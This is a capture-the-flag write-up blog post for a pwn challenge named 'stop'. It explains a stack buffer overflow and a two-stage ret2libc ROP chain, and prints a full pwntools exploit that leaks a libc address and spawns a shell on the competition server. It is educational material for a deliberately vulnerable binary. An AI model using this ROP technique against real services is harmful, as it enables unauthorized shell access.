Stop

Description

I love playing stop, but I am tired of losing. Check out my new stop answer generator! It’s a work in progress and only has a few categories, but it’s 100% bug-free!
 

Files

 

Explanation

If we use pwn checksec on stop, we can see that there are no stack canary and no PIE. Since PIE is turned off, we can use ROP!
image-4
 

In main(), there is buffer over flow in read function. read(0x0, *(rbp-0x110), 0x256) It can read up to 0x256 when buffer is from rbp – 0x110.

download

First ROP

First we can leak the address of __libc_start_main by jumping to printf(GOT__libc_start_main) and then returning back to main so that we can use the GOT__libc_start_main to calculate system from libc.
 
download
 

Second ROP

With system location calculated, we can jump to system(/bin/sh)
download
 

Exploiting Remote Server

When you try to use this exploit remotely, we have to remind ourselves that their stack alignment is different due to env variable and etc. Stack should be aligned by 16. We can add RET instruction to buffer over flow to make it aligned. Also, their libc will be different, so we can use https://libc.blukat.me/?q=__libc_start_main%3A0x7fa769469ab0 to look for their libc version with the leak __libc_start_main.
 

Exploit

#!/usr/bin/python2.7
from pwn import *

### Settings ###
is_local = False



### Setup ###
if is_local:
    p = process("./stop")
    libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.30.so")
else:
    p = remote("p1.tjctf.org", 8001)

    # You can find that remote is using libc by using the leaked
    # __libc_start_main address in this website. https://libc.blukat.me/?q=__libc_start_main%3A0x7fa769469ab0
    libc = ELF("./libc-2.27.so")

elf = ELF("./stop")
rop = ROP(elf)



### First ROP ###

# JUNK contains all the main stack + RBP.
JUNK = 'A' * 282


PRINTF = elf.plt['printf']
GOT_LIBC_START_MAIN = elf.got['__libc_start_main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
MAIN = elf.sym['main']
RET = rop.find_gadget(['ret'])[0]

offset_libc_start_main = libc.sym['__libc_start_main']
offset_system = libc.sym['system']

# All these RET is not needed locally. But remotely you need them to make stack byte aligned by 16.
p.sendline(JUNK + p64(POP_RDI) + p64(GOT_LIBC_START_MAIN)  + p64(RET) + p64(PRINTF) + p64(RET) + p64(MAIN))
sleep(1) # Delay for send.

first_msg = p.recv()

# Had to mess around with received message. It should be something like 0x00007fXXXXXXXXXX.
LIBC_START_MAIN = u64(first_msg[-20:-14].ljust(8,'\x00'))
print("Leaked __libc_start_main: " + hex(LIBC_START_MAIN))



### Second ROP ###

SYSTEM = LIBC_START_MAIN + (offset_system - offset_libc_start_main)
BINSH = next(elf.search("/bin/sh"))

p.sendline(JUNK + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM))
sleep(1)

second_msg = p.recv()
p.interactive()

1 thought on “Stop”

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s